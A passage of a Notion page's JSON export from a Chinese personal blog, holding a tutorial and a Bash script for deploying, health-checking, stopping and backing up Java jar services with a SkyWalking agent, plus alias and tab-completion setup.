true; do\n    for log in \"${CHECK_LOGS[@]}\"; do\n      if grep -q \"$log\" \"./logs/${SW_AGENT_NAME}/debug.log\"; then\n        echo -e \"\\n服务已成功启动: $jar\"\n        return 0\n      fi\n    done\n    if [ \"$exptime\" -gt ${APP_START_TIMEOUT} ]; then\n      echo -e \"\\n服务启动检查超时,请手动检查\"\n      break\n    else\n      echo -ne \"\\r服务还在启动中:已经等待${exptime}秒,当前超时时间为${APP_START_TIMEOUT}\"\n    fi\n\n    sleep 1\n    ((exptime++))\n  done\n}\n"]],"language":[["Bash"]]},"created_time":1706079393878,"last_edited_time":1706079401922,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"2c676e25-8325-4e28-a93c-2a14c18c16f9":{"value":{"id":"2c676e25-8325-4e28-a93c-2a14c18c16f9","type":"sub_header","properties":{"title":[["备份"]]},"format":{"copied_from_pointer":{"id":"5832d8e8-8c18-4555-b18e-c744f75a7347","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386586,"last_edited_time":1706079408241,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"5832d8e8-8c18-4555-b18e-c744f75a7347"}},"aa4dcc52-95a6-47a4-88e5-b4275689bcda":{"value":{"id":"aa4dcc52-95a6-47a4-88e5-b4275689bcda","type":"quote","properties":{"title":[["自动备份到指定目录,并且做到限制备份数目,自动清除等效果"]]},"created_time":1706079786312,"last_edited_time":1706079833479,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"7b911799-39b3-4e6e-8aa4-a18618a47f88":{"value":{"id":"7b911799-39b3-4e6e-8aa4-a18618a47f88","type":"code","properties":{"title":[["#备份\nbackup() {\n    jar=$1\n    filename=$(basename -- \"$jar\")\n    backup_dir=\"./backup/${filename%.*}\"\n    # 确保备份目录存在\n    mkdir -p $backup_dir\n\n    # 备份 .jar 文件,并添加时间戳\n    timestamp=$(date \"+%Y%m%d%H%M%S\")\n    path=$backup_dir/$(basename $jar).$timestamp\n    mv $jar $path\n\n    # 检查备份目录中的文件数量\n    file_count=$(ls -t $backup_dir | wc -l)\n    echo \"当前备份目录为:$backup_dir\"\n    echo \"当前备份数目为:$file_count\"\n    echo \"当前备份文件为:$path\"\n    if [ $file_count -gt 5 ]; then\n        cd $backup_dir\n        # 删除最旧的文件\n        rm -f \"$(ls -t | tail -1)\"\n        cd -\n    fi\n}"]],"language":[["Bash"]]},"created_time":1706079411099,"last_edited_time":1706079842806,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"dae3dcc6-9abb-45e7-8cd0-96e67fb23514":{"value":{"id":"dae3dcc6-9abb-45e7-8cd0-96e67fb23514","type":"header","properties":{"title":[["环境变量配置"]]},"format":{"copied_from_pointer":{"id":"bc90f652-c084-4885-8571-e07c2b2a5073","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386587,"last_edited_time":1706079947292,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"bc90f652-c084-4885-8571-e07c2b2a5073"}},"d044fa90-43bf-464b-b804-b1952f91548b":{"value":{"id":"d044fa90-43bf-464b-b804-b1952f91548b","type":"sub_header","properties":{"title":[["配置~/.bash_profile"]]},"created_time":1706079947440,"last_edited_time":1706079996698,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"f4e7ebc8-a8bf-4550-a1e4-6811a8f052da":{"value":{"id":"f4e7ebc8-a8bf-4550-a1e4-6811a8f052da","type":"code","properties":{"title":[["#加上这一句\nalias deploy='/xxxx/deploy.sh'\n\n#然后保存.bash_profile并退出,再source一下\nsource ~/.bash_profile"]],"language":[["Bash"]]},"created_time":1706080001835,"last_edited_time":1706080051777,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"12211a14-1feb-449b-beab-abea67e70635":{"value":{"id":"12211a14-1feb-449b-beab-abea67e70635","type":"sub_header","properties":{"title":[["配置自动补全"]]},"created_time":1706080026932,"last_edited_time":1706080082350,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"4fa90686-3a74-46ec-a088-962d442891e0":{"value":{"id":"4fa90686-3a74-46ec-a088-962d442891e0","type":"code","properties":{"title":[["#安装这个\nyum -y install bash-completion\n\n\n## 把下面所有加到.bash_profile并source\n\n\n# 定义补全函数\n_deploy_complete()\n{\n    local cur prev opts\n    COMPREPLY=()\n    cur=\"${COMP_WORDS[COMP_CWORD]}\"\n    prev=\"${COMP_WORDS[COMP_CWORD-1]}\"\n\n# 第一个参数的补全选项\n    opts=\"start stop restart list backup\"\n\n# 如果是第一个参数,那么补全选项为opts\nif [[ ${COMP_CWORD} -eq 1 ]] ; then\n        COMPREPLY=( $(compgen -W \"${opts}\" -- ${cur}) )\n        return 0\n    fi\n\n# 如果是第二个参数,那么补全选项为当前目录下的jar文件\nif [[ ${COMP_CWORD} -eq 2 ]] ; then\n        COMPREPLY=( $(compgen -W \"$(ls | grep jar)\" -- ${cur}) )\n        return 0\n    fi\n}\n\n# 将这个函数绑定到`deploy`命令上\ncomplete -F _deploy_complete deploy"]],"language":[["Bash"]]},"created_time":1706080085768,"last_edited_time":1706080157690,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"af722408-abb3-480e-9546-752a8866c509":{"value":{"id":"af722408-abb3-480e-9546-752a8866c509","type":"header","properties":{"title":[["效果"]]},"created_time":1706080016178,"last_edited_time":1706080352027,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"0cdbdf1b-35ba-4404-9235-3d8625c1eac0":{"value":{"id":"0cdbdf1b-35ba-4404-9235-3d8625c1eac0","type":"sub_header","properties":{"title":[["备份"]]},"created_time":1706080341893,"last_edited_time":1706080346302,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"23f697fb-ec30-4920-becf-b2569bb235d0":{"value":{"id":"23f697fb-ec30-4920-becf-b2569bb235d0","type":"image","properties":{"size":[["39.6KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/9007636a-7168-467c-bccd-fcf31712bf3d/Untitled.png"]]},"format":{"block_width":862,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/9007636a-7168-467c-bccd-fcf31712bf3d/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.45707656612529,"block_preserve_scale":true},"created_time":1706080421079,"last_edited_time":1706080424570,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"file_ids":["9007636a-7168-467c-bccd-fcf31712bf3d"]}},"8566becf-9f13-4e17-800f-8c73a9d69d10":{"value":{"id":"8566becf-9f13-4e17-800f-8c73a9d69d10","type":"sub_header","properties":{"title":[["重启"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386585,"last_edited_time":1706080354831,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"6fc3b1c1-279c-4da3-9b48-a286c69a4620":{"value":{"id":"6fc3b1c1-279c-4da3-9b48-a286c69a4620","type":"image","properties":{"size":[["72.4KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/f7983c27-0d6c-4279-9ec4-753138725f56/Untitled.png"]]},"format":{"block_width":1166,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/f7983c27-0d6c-4279-9ec4-753138725f56/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.4090909090909091,"block_preserve_scale":true},"created_time":1706080404843,"last_edited_time":1706080407833,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"file_ids":["f7983c27-0d6c-4279-9ec4-753138725f56"]}},"ebb9c14c-4573-4673-9f41-923621db6503":{"value":{"id":"ebb9c14c-4573-4673-9f41-923621db6503","type":"text","format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386585,"last_edited_time":1706080333611,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"5f09bd20-4152-4fbf-9234-6358f7ca9002":{"value":{"id":"5f09bd20-4152-4fbf-9234-6358f7ca9002","type":"text","format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386585,"last_edited_time":1706080333611,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"1af18956-4491-4646-8812-8c26899d094c":{"value":{"id":"1af18956-4491-4646-8812-8c26899d094c","type":"header","properties":{"title":[["最终部署脚本"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386585,"last_edited_time":1706080332892,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"39cf1bf0-7c68-42aa-8ada-11e74af9da6e":{"value":{"id":"39cf1bf0-7c68-42aa-8ada-11e74af9da6e","type":"code","properties":{"title":[["#!/bin/bash\n\n#-----------------------------环境变量START----------------------------\nexport SW_AGENT_COLLECTOR_BACKEND_SERVICES=127.0.0.1:11800\nexport SW_AGENT_SPAN_LIMIT=2000\nexport JAVA_AGENT=-javaagent:/usr/skywalking-agent/skywalking-agent.jar\nexport ENV=test\n#-----------------------------环境变量END----------------------------\n\n\n#-----------------------------全局变量START----------------------------\nAPP_START_TIMEOUT=180 #等待应用启动的时间\nPIDS=()               #定义全局的PIDS数组\nWORK_DIR=(            #当前程序的工作目录\n          /Users/y/IdeaProjects/A-script/sh\n          /home/\n          /root/prod\n          )\nCHECK_LOGS=(          #日志检查关键字\n  \"开始订阅滚动日志\"\n  \"服务启动成功\"\n  \"Tomcat started on port(s): 8848\"\n)\nSCRIPT_NAME=$0       # 脚本名称\nACTION=$1            # 脚本接受的第一个参数\nshift                # 将参数列表向左移动一个位置,去除第一个参数\njar=\"$@\"             # 使用命令行参数作为jar文件名\n#-----------------------------全局变量END----------------------------\n\n\n\n#-----------------------------函数声明START----------------------------\n#用法说明\n\n#使用说明\nusage() {\n  echo \"脚本的用法如下:$SCRIPT_NAME {start|stop|restart|list|backup} {service_name.jar}\"\n  end\n  exit 2\n}\n# 检查输入参数\ncheck_input() {\n    jar=$1\n\n    # list 操作接受 *.jar 作为参数\n    if [[ $ACTION == \"list\" \u0026\u0026 $jar == *.jar ]]; then\n        return 0\n    fi\n\n    # start, stop 和 restart 操作必须接受一个存在于当前目录的 .jar 文件作为参数\n    if [[ $ACTION != \"list\" \u0026\u0026 ($jar != *.jar || ! -f $jar) ]]; then\n        echo \"start,stop,restart,backup 操作必须接受一个存在于当前目录的 .jar 文件作为参数\"\n        end\n        exit 0\n    fi\n}\n#欢迎脚本答应\nwelcome(){\n  echo '''\n---------------------------脚本正在启动-------------------------------\n\n        ████████   ██████   ███   ███  ███   ██  █\n\n  '''\n  echo \"                   当前脚本环境:$ENV\n\n  \"\n}\n#结束脚本打印\nend(){\n  echo '''\n----------------------------脚本已经完成-------------------------------\n  '''\n}\n# 设置 JVM_OPTS\nset_jvm_opts() {\n    jar=$1\n    filename=$(basename -- \"$jar\")\n    #生产环境\n    if [[ $ENV == \"prod\" ]]; then\n      # 检查文件名是否包含 \"bothsavage\"\n      if [[ $filename == *\"bothsavage\"* ]]; then\n          export JVM_OPTS=\"-Xms4096m -Xmx6144m\"\n      else\n          export JVM_OPTS=\"-Xms1024m -Xmx2028m\"\n      fi\n    #非生产环境\n    else\n      # 检查文件名是否包含 \"bothsavage\"\n      if [[ $filename == *\"bothsavage\"* ]]; then\n          export JVM_OPTS=\"-Xms1024m -Xmx2028m\"\n      else\n          export JVM_OPTS=\"-Xms512m -Xmx1024m\"\n      fi\n    fi\n\n}\n#检查当前脚本运行目录\ncheck_directory() {\n  # 获取脚本的运行目录\n  script_dir=$(pwd \"$0\")\n  echo \"此脚本工作目录:$script_dir\"\n\n  # 标识,初始为 false\n  valid_dir=false\n\n  # 检查脚本的运行目录是否在 WORK_DIR 数组的目录之一\n  for dir in \"${WORK_DIR[@]}\"; do\n    if [[ $script_dir == $dir* ]]; then\n      valid_dir=true\n      break\n    fi\n  done\n\n  # 如果标识仍为 false,打印一条消息并退出脚本\n  if ! $valid_dir; then\n    echo \"不满足以下目录:${WORK_DIR[*]}. \"\n    end\n    exit 0\n  fi\n}\n#根据jar包获取正在运行的pid列表\n#可能是多个有xxx.jar的pid,因为存在启动不成功的情况\n#此pid列表是所有正在运行的jar包的pid列表,去除grep --color=auto pet-mall\nlist_service() {\n  echo \"获取程序运行中:$jar\"\n  # 使用ps和grep获取包含jar包名的进程\n  local lines=$(ps aux | grep $1 | grep java | grep -v grep | awk '{printf $2 \" \"; for (i=11; i\u003c=NF; i++) printf $i \" \"; print \"\"}')\n\n  # 逐行读取lines变量的值\n  while IFS= read -r line; do\n    # 使用空格将行切割为数组\n    array=($line)\n\n    # 第一个元素是PID\n    pid=${array[0]}\n\n    # 剩下的元素是命令行参数\n    cmdline=${line#\"$pid \"}  # 使用参数扩展移除PID\n    cmdline_cut=$(echo $cmdline | cut -c 1-150)  # 保留前50个字符\n\n   # 只在找到进程时打印信息\n    if [ ! -z \"$pid\" ]; then\n      printf \"找到%5s 程序: %-50s...\\n\" \"$pid\" \"$cmdline_cut\"  # 格式化输出\n      PIDS+=(\"$pid\")\n    fi\n  done \u003c\u003c\u003c \"$lines\"\n\n  # 如果没有找到任何服务,打印提示信息\n  if [ -z \"$lines\" ]; then\n    echo \"没有进程包含有:$1\"\n  fi\n}\n#停止服务\nstop_service() {\n  local pid=$1\n  echo \"开始停止程序中: $pid\"\n  kill -15 \"$pid\"\n\n  # 等待程序结束\n  for i in $(seq 60); do\n    # 检查进程是否还在运行\n    if ! ps -p \"$pid\" \u003e /dev/null; then\n      echo \"停止程序已完成:$pid\"\n      return 0\n    fi\n    # 等待一秒\n    sleep 1\n  done\n\n  # 如果程序还在运行,发送 SIGKILL\n  echo \"程序仍在运行,发送 SIGKILL\"\n  kill -9 \"$pid\"\n}\n#启动服务\nstart_service(){\n  set_jvm_opts $jar\n  filename=$(basename -- \"$jar\")\n  export SW_AGENT_NAME=\"${filename%.*}\"\n#  output=\"./${SW_AGENT_NAME}.log\"\n#  touch $output\n#  在脚本退出时删除日志文件\n#  trap 'rm -f ./${SW_AGENT_NAME}.log' EXIT\n  output=\"/dev/null\"\n  nohup java $JVM_OPTS $JAVA_AGENT -jar ./$jar \u003e\u003e $output 2\u003e\u00261 \u0026\n  echo \"最终部署语句为:nohup java $JVM_OPTS $JAVA_AGENT -jar ./$jar \u003e\u003e $output 2\u003e\u00261 \u0026\"\n  # 检查是否有 -q 参数\n  if [ \"$2\" == \"-q\" ]\n  then\n      echo \"部署语句已执行:$jar\"\n  else\n      tail -f $output\n  fi\n}\n#健康检查\nhealth_check() {\n  exptime=0\n\n  while true; do\n    for log in \"${CHECK_LOGS[@]}\"; do\n      if grep -q \"$log\" \"./logs/${SW_AGENT_NAME}/debug.log\"; then\n        echo -e \"\\n服务已成功启动: $jar\"\n        return 0\n      fi\n    done\n    if [ \"$exptime\" -gt ${APP_START_TIMEOUT} ]; then\n      echo -e \"\\n服务启动检查超时,请手动检查\"\n      break\n    else\n      echo -ne \"\\r服务还在启动中:已经等待${exptime}秒,当前超时时间为${APP_START_TIMEOUT}\"\n    fi\n\n    sleep 1\n    ((exptime++))\n  done\n}\n#备份\nbackup() {\n    jar=$1\n    filename=$(basename -- \"$jar\")\n    backup_dir=\"./backup/${filename%.*}\"\n    # 确保备份目录存在\n    mkdir -p $backup_dir\n\n    # 备份 .jar 文件,并添加时间戳\n    timestamp=$(date \"+%Y%m%d%H%M%S\")\n    path=$backup_dir/$(basename $jar).$timestamp\n    mv $jar $path\n\n    # 检查备份目录中的文件数量\n    file_count=$(ls -t $backup_dir | wc -l)\n    echo \"当前备份目录为:$backup_dir\"\n    echo \"当前备份数目为:$file_count\"\n    echo \"当前备份文件为:$path\"\n    if [ $file_count -gt 5 ]; then\n        cd $backup_dir\n        # 删除最旧的文件\n        rm -f \"$(ls -t | tail -1)\"\n        cd -\n    fi\n}\n#启动脚本\nstart() {\n  start_service $jar -q\n  health_check $jar\n  list_service $jar\n}\n#停止脚本\nstop() {\n  list_service $jar\n  for pid in \"${PIDS[@]}\" ; do\n    if [ ! -z \"$pid\" ]; then\n      stop_service $pid\n    fi\n  done\n}\n#-----------------------------函数声明END----------------------------\n\n\n\n#-----------------------------程序入口----------------------------\nwelcome\ncheck_directory\ncase \"$ACTION\" in\nstart)\n  check_input $jar\n  list_service $jar\n  for pid in \"${PIDS[@]}\" ; do\n    if [ ! -z \"$pid\" ]; then\n      echo \"存在应用在运行:请使用restart命令\"\n      end\n      exit 0\n    fi\n  done\n  start\n  ;;\nstop)\n  check_input $jar\n  stop\n  ;;\nrestart)\n  check_input $jar\n  stop\n  start\n  ;;\nlist)\n  check_input $jar\n  list_service $jar\n  ;;\nbackup)\n  check_input $jar\n  backup $jar\n  ;;\n*)\n  usage\n  ;;\nesac\n\nend"]],"language":[["Bash"]]},"created_time":1706079853791,"last_edited_time":1706079931676,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"3b508db8-425b-4c77-83d0-9eba50c4ef24":{"value":{"id":"3b508db8-425b-4c77-83d0-9eba50c4ef24","type":"header","properties":{"title":[["写到最后"]]},"format":{"copied_from_pointer":{"id":"5cde9219-8710-4037-9848-8a1f37dc9ff6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386586,"last_edited_time":1706076386586,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"5cde9219-8710-4037-9848-8a1f37dc9ff6"}},"dffd5b0d-8df5-4399-96a3-63793dbd16d0":{"value":{"id":"dffd5b0d-8df5-4399-96a3-63793dbd16d0","type":"column_list","content":["01d74399-1984-4db8-b232-71694c4f7aef","5e5d5341-4a47-448b-bb23-a0f7ba9ad5f7","056999ba-b162-4bdd-b94f-66abf2db1bdf"],"format":{"copied_from_pointer":{"id":"60dbcaaf-f103-4bb0-9be1-817671709d79","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386587,"last_edited_time":1706076386587,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"60dbcaaf-f103-4bb0-9be1-817671709d79"}},"01d74399-1984-4db8-b232-71694c4f7aef":{"value":{"id":"01d74399-1984-4db8-b232-71694c4f7aef","type":"column","content":["339737bc-36d6-4e00-ae14-9b1855021a83"],"format":{"column_ratio":0.25,"copied_from_pointer":{"id":"235500f7-fd62-4fe9-b6d2-b67bac3f464d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386588,"last_edited_time":1706076386588,"parent_id":"dffd5b0d-8df5-4399-96a3-63793dbd16d0","parent_table":"block","alive":true,"copied_from":"235500f7-fd62-4fe9-b6d2-b67bac3f464d"}},"5e5d5341-4a47-448b-bb23-a0f7ba9ad5f7":{"value":{"id":"5e5d5341-4a47-448b-bb23-a0f7ba9ad5f7","type":"column","content":["4a3120f5-b7d0-4446-9360-a24bc5d2a6ed","a3e87d87-21dd-406d-8b6f-18e04e3330d5"],"format":{"column_ratio":0.34601449275362306,"copied_from_pointer":{"id":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386588,"last_edited_time":1706076386588,"parent_id":"dffd5b0d-8df5-4399-96a3-63793dbd16d0","parent_table":"block","alive":true,"copied_from":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0"}},"056999ba-b162-4bdd-b94f-66abf2db1bdf":{"value":{"id":"056999ba-b162-4bdd-b94f-66abf2db1bdf","type":"column","content":["85f4203b-c3c4-4987-a73d-4830494b33be"],"format":{"column_ratio":0.4039855072463767,"copied_from_pointer":{"id":"2db937b6-5aae-440c-a285-8be50e3b5e55","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386588,"last_edited_time":1706076386588,"parent_id":"dffd5b0d-8df5-4399-96a3-63793dbd16d0","parent_table":"block","alive":true,"copied_from":"2db937b6-5aae-440c-a285-8be50e3b5e55"}},"339737bc-36d6-4e00-ae14-9b1855021a83":{"value":{"id":"339737bc-36d6-4e00-ae14-9b1855021a83","type":"image","properties":{"size":[["980.0KB"]],"title":[["favicon.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png"]]},"format":{"block_width":144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":1,"copied_from_pointer":{"id":"97938c4a-3571-4bef-b055-178812ea72c6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1706076386589,"last_edited_time":1706076386589,"parent_id":"01d74399-1984-4db8-b232-71694c4f7aef","parent_table":"block","alive":true,"copied_from":"97938c4a-3571-4bef-b055-178812ea72c6","file_ids":["e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7"]}},"4a3120f5-b7d0-4446-9360-a24bc5d2a6ed":{"value":{"id":"4a3120f5-b7d0-4446-9360-a24bc5d2a6ed","type":"text","properties":{"title":[["\n",[["i"]]],["        是在往前走就好",[["i"],["b"]]],["\n        ",[["i"]]],["bothsavage.github.io",[["a","https://bothsavage.github.io/archive"],["i"]]],["\n",[["i"]]]]},"format":{"copied_from_pointer":{"id":"01338c9e-9395-42fa-858b-73431aab37fa","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386588,"last_edited_time":1706076386588,"parent_id":"5e5d5341-4a47-448b-bb23-a0f7ba9ad5f7","parent_table":"block","alive":true,"copied_from":"01338c9e-9395-42fa-858b-73431aab37fa"}},"85f4203b-c3c4-4987-a73d-4830494b33be":{"value":{"id":"85f4203b-c3c4-4987-a73d-4830494b33be","type":"image","properties":{"size":[["85.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png"]]},"format":{"block_width":288,"block_height":315,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.525,"copied_from_pointer":{"id":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1706076386589,"last_edited_time":1706076386589,"parent_id":"056999ba-b162-4bdd-b94f-66abf2db1bdf","parent_table":"block","alive":true,"copied_from":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","file_ids":["3436ffe0-3684-445a-824f-2fd9fa5ad2a6"]}},"a3e87d87-21dd-406d-8b6f-18e04e3330d5":{"value":{"id":"a3e87d87-21dd-406d-8b6f-18e04e3330d5","type":"text","format":{"copied_from_pointer":{"id":"5e9529ea-6019-4fc2-84b6-796d696ac4fd","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386589,"last_edited_time":1706076386589,"parent_id":"5e5d5341-4a47-448b-bb23-a0f7ba9ad5f7","parent_table":"block","alive":true,"copied_from":"5e9529ea-6019-4fc2-84b6-796d696ac4fd"}},"70a67ed3-e2b5-4bd8-b6ac-de461ad7aa16":{"value":{"id":"70a67ed3-e2b5-4bd8-b6ac-de461ad7aa16","type":"text","format":{"copied_from_pointer":{"id":"d23c967c-579a-4a00-81be-5b5255a47a8a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386587,"last_edited_time":1706076386587,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"d23c967c-579a-4a00-81be-5b5255a47a8a"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","v